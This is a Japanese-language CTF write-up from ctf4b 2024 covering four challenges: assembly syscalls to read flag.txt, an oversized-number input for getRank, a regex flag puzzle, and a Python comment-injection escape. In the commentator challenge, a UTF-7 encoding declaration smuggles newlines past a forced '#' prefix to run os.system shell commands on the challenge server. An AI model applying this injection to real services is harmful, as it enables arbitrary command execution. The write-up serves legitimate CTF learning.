ctf4b 2024
チームとして参加して 1167pts, 39位で終了しました。

このうち私がチーム内で解くのに関わった( not 私が一人で解いた)問題についてだけのwriteupです。
[reversing] assemble
アセンブラを書くシンプルな問題。
小問が4つあって全て解くと flag が出てくるが、mov, push, syscallしか使えないことと、25行以内の制約がある。
解法
- Please write
0x123toRAX!mov rax, 0x123 - Please write
0x123toRAXand push it on stack!mov rax, 0x123 push rax - Please use
syscallto printHelloon stdout!最初は直接mov rax, 0x6f6c6c6548 push rax mov rax, 1 mov rsi, rsp mov rdi, 1 mov rdx, 5 syscallpush 0x6fなり試してたけど意図通り動かない… - Please read
flag.txtfile and print it to stdout!
ChatGPTに聞いたら割とすんなり教えてくれたので若干手直しして作成。セミコロンmov rax, 0x0000000000007478 # tx push rax mov rax, 0x742e67616c662f2e # t.galf/. push rax mov rdi, rsp # rdi = address of './flag.txt' mov rax, 2 # sys_open mov rsi, 0 # rsi = 0 (O_RDONLY) syscall mov rcx, rax # save file descriptor in rcx mov rax, 0 # sys_read mov rdi, rcx # file descriptor mov rsi, rsp # buffer to read into (rsp) mov rdx, 0x34 # number of bytes to read syscall mov rbx, rax # save number of bytes read in rbx mov rax, 1 # sys_write mov rdi, 1 # file descriptor (stdout) mov rsi, rsp # buffer to write from (rsp) mov rdx, rbx # number of bytes to write syscall;が使えないようなのでコメントは#で。
[misc] getRank
ソースコードを見る限りHTTPリクエストのinputの値を10^255より大きくすれば良さそう。
ただし300桁(文字数)を超える入力とは弾かれるのと、10^255より大きい値を入れたら10で割る演算を100回繰り返し適用されるらしい。
解法
単純に考えれば999..(300桁)..999とかを入れたいが割られてしまう。
なので0xFFF..(298桁)..FFFを入れて割られても十分なくらい大きな値にする。
[misc] clamre
ファイルをダウンロードするとflagが書いてあるファイルがあるのでいい感じに読む。
解法
/^((\x63\x74\x66)(4)(\x62)(\{B)(\x72)(\x33)\3(\x6b1)(\x6e\x67)(\x5f)\3(\x6c)\11\10(\x54\x68)\7\10(\x480)(\x75)(5)\7\10(\x52)\14\11\7(5)\})$/
この正規表現を読む。最初数文字\x63\x74\x66はHexStringでctfになるのでおそらくこれはflagであるだろうと確信を持つ。
HexStringと\{\}の部分を直して
((ctf)(4)(b)({B)(r)(3)\3(k1)(ng)(_)\3(l)\11\10(Th)\7\10(H0)(u)(5)\7\10(R)\14\11\7(5)})
\Nは最初からN番目のかっこ()(最初は0じゃなくて1番目、例えば(ctf)のかっこは2番目)と同じ値の再代入。例えば最初の\3は3番目の()である4が入る。
あとは代入して()を消す。
[misc] commentator
pythonコードを1行ずつインタラクティブに書くが、各行の最初に必ず#が追加されてしまう。
最終的にサーバ内のflagファイルを見ることができれば勝ち。
問題(抜粋)
python = ""
while True:
line = input(">>> ").replace("\r", "")
if "__EOF__" in line:
python += 'print("thx :)")'
break
python += f"# {line}\n" # comment :)
pyfile = f"/tmp/{uuid.uuid4()}.py"
with open(pyfile, "w") as f:
f.write(python)
os.system(f"python {pyfile}")
os.remove(pyfile)
こんなプログラムが動いているサーバでの問題。
python += f"# {line}\n" # comment :)の部分で行頭に#が追加されてしまうので回避したい。
解法
どうにかして改行コードを入れたいなぁという方向で考える。
色々あるようだが Python ファイルの最初の見慣れたやつをいい感じにする。
通常では改行すると入力が一旦区切られてしまうので、utf7を使って改行コードを入れることができる。
変換ツール↓を使うと速い気がする。
-*- coding: utf_7 -*-
+AAo-import+ACA-os
+AAo-os.system('ls+ACA--la+ACA-..')
__EOF__
この入力で内部のpythonファイルは
# -*- coding: utf_7 -*-
#
import os
#
os.system('ls -la ..')
print("thx :)")
こんな感じになる。
これでファイルのパスがわかるので、あとは同様の方法でcatによってflagを得る。
UTF-7はXSSとかにも使えてなにかと便利。